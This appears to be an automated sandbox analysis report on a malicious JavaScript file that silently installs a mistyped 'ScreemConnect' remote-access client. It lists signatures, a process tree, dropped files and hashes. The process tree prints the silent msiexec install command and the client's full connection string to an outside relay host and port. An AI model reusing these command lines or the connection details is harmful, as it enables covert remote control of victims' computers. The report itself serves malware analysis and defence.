Analysis

  • max time kernel
    148s
  • max time network
    138s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    31/08/2026, 12:22

General

  • Target
    Docs-20260831122252216.js
  • Size 3.1MB
  • Sample260831-pkckqa1gla
  • SHA256 0e771f1eb2a144d1f331691ea4d2a6eeba001da1d805d7c043442b1b99bbc290
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 25 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Program Files directory 15 IoCs
  • Drops file in Windows directory 25 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 32 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Docs-20260831122252216.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3288
    • C:\Windows\System32\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreemConnect.ClientSetup.msi" /qn /norestart
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:4620
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2520
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding BBF1DF5E93867C4B39424431B0D68BC6
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4248
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSIEE2F.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240774968 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:3460
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 9E53360935777612B663A7B4CE0CB51F E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:3476
  • C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=vca.org.in&p=8041&s=f312f0ce-d24d-461e-93ca-44a6c6bf579e&k=BgIAAACkAABSU0ExAAgAAAEAAQCNxZL3tg1sOj784pJI%2fDjJndvmtBu0S1bSLvxJJblA5QrsTjN6qKwRFIIrRCRPXbw9DUWtT3Mf9z9SOtMv1jfKpQIKOX0lQZ%2b6cjlHtKp3vUtCypslW%2fxzKgnq%2bPd%2fZUDAXmEH%2byWifRPUK7cZIJ%2f2Kek2HVYG2RFDmW9ICImBHCpFMdRXV5vSsvbseRT1czW4v1KZAopL%2b3wGZsFlPeofLR%2fcuO27F%2bu8%2fSkBzUU2ojCPloPIcid84hL6nTjFSEw5IRseAESnrUkw8etdlmdJsvHpg8LrI0OaHzV7FTkDecXKyjy4NUWxmYn8wGHxuiQXhhv7FmY73E0HSvelEvLm&t=&c=&c=&c=&c=&c=&c=&c=&c="
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1284
    • C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.WindowsClient.exe" "RunRole" "d1ac6c3f-2d75-4e2c-aa95-0ddb6b44e4f1" "User"
      2⤵
      • Executes dropped EXE
      PID:4536
    • C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.WindowsClient.exe" "RunRole" "6d7beea3-dde4-4b2a-9fa2-901ba6689186" "System"
      2⤵
      • Executes dropped EXE
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      PID:3216

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        e59ec9b.rbs

        • Path C:\Config.Msi\e59ec9b.rbs
        • Size 212KB
        • SHA256 96fa579b074db614bbd6a722fb7187c3637b8dd1c5e6df476061284ef1b33e1f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.en-US.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\Client.en-US.resources
        • Size 39KB
        • SHA256 f9c327d646ab427270918b07fa11a1375fc4cd003b394e057548c098151c37e2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\Client.resources
        • Size 2KB
        • SHA256 64da2cfeacfcba97cad701da9288618bc42a20f69dd4a0fe5652ce49ef92524c
        • MD5 SHA1 SHA512 TLSH

        ScreenConnect.Client.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.Client.dll
        • Size 153KB
        • SHA256 91ef17033e63abfd3769e3264f9b9999c03e8c1cbf9a935529ba588eecb1a1ee
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.ClientService.dll
        • Size 32KB
        • SHA256 ea2d01e8a1f0bce68d71887aa6a0e822179c2cc599c340a87ef4043cb47f8878
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.ClientService.exe
        • Size 88KB
        • SHA256 f1d3120597b8f1115f7bd5cd7110be8baca7b350a785774411ed2c265bce363e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.Windows.dll
        • Size 1.7MB
        • SHA256 840629f95a1ce86843bda5222f852b589fb206cb4ecf33c7cd074207a2d5f23c
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.WindowsClient.exe
        • Size 575KB
        • SHA256 87bee75f88520f8aaebb9d843f765ec6a1ecea288ed9470af202610d7357654d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe.config

        • Path C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH

        app.config

        • Path C:\Program Files (x86)\ScreenConnect Client (a883241204db1a2c)\app.config
        • Size 2KB
        • SHA256 6a7c0db056562992e5bcad65224cffed4d39a5fcfa50d5b514c72eb7d01f0a34
        • MD5 SHA1 SHA512 TLSH

        user.config

        • Path C:\ProgramData\ScreenConnect Client (a883241204db1a2c)\user.config
        • Size 543B
        • SHA256 37374bb76ef69328dc2deb36dce1bb6155fcb6cd4b146bf1d041deadd4687782
        • MD5 SHA1 SHA512 TLSH

        ScreemConnect.ClientSetup.msi

        • Path C:\Users\Admin\AppData\Local\Temp\ScreemConnect.ClientSetup.msi
        • Size 2.3MB
        • SHA256 bea2c9efb7c96f4cedba2b3bd7cf8ee4dec389a7639d55a6b6b2b5ee0e1dace7
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSIEE2F.tmp

        • Path C:\Windows\Installer\MSIEE2F.tmp
        • Size 357KB
        • SHA256 5dc07837213877ce025157a733ef13fd4a6b33b8c7e6e92eb4d790b98d5367cb
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Microsoft.Deployment.WindowsInstaller.dll

        • Path C:\Windows\Installer\MSIEE2F.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Windows\Installer\MSIEE2F.tmp-\ScreenConnect.Core.dll
        • Size 447KB
        • SHA256 e3f9f13e1237309ee53b2857ec479bb66c0a3b70a0370dc9940236d9a02782c8
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.InstallerActions.dll

        • Path C:\Windows\Installer\MSIEE2F.tmp-\ScreenConnect.InstallerActions.dll
        • Size 18KB
        • SHA256 fe1ec5232d2c8e09000bc6d57ef568f1ee5c5fe31f5506312903c3a17cda0ce8
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSIF351.tmp

        • Path C:\Windows\Installer\MSIF351.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/1284-86-0x0000000003DC0000-0x0000000003F48000-memory.dmp

        memory/1284-91-0x0000000004270000-0x0000000004304000-memory.dmp

        memory/1284-92-0x0000000004220000-0x0000000004270000-memory.dmp

        memory/1284-78-0x00000000038B0000-0x00000000038DC000-memory.dmp

        memory/1284-72-0x0000000001240000-0x000000000124E000-memory.dmp

        memory/1284-85-0x0000000003C00000-0x0000000003DBA000-memory.dmp

        memory/3460-22-0x0000000003960000-0x000000000396A000-memory.dmp

        memory/3460-26-0x0000000005AC0000-0x0000000005B36000-memory.dmp

        memory/3460-18-0x0000000003920000-0x000000000394E000-memory.dmp

        memory/4536-99-0x0000000000210000-0x00000000002A4000-memory.dmp

        memory/4536-105-0x000000001B460000-0x000000001B61A000-memory.dmp

        memory/4536-103-0x000000001B220000-0x000000001B296000-memory.dmp

        memory/4536-114-0x000000001C3D0000-0x000000001C558000-memory.dmp

        memory/4536-115-0x00000000022B0000-0x00000000022BE000-memory.dmp

        memory/4536-100-0x00000000022D0000-0x00000000022FC000-memory.dmp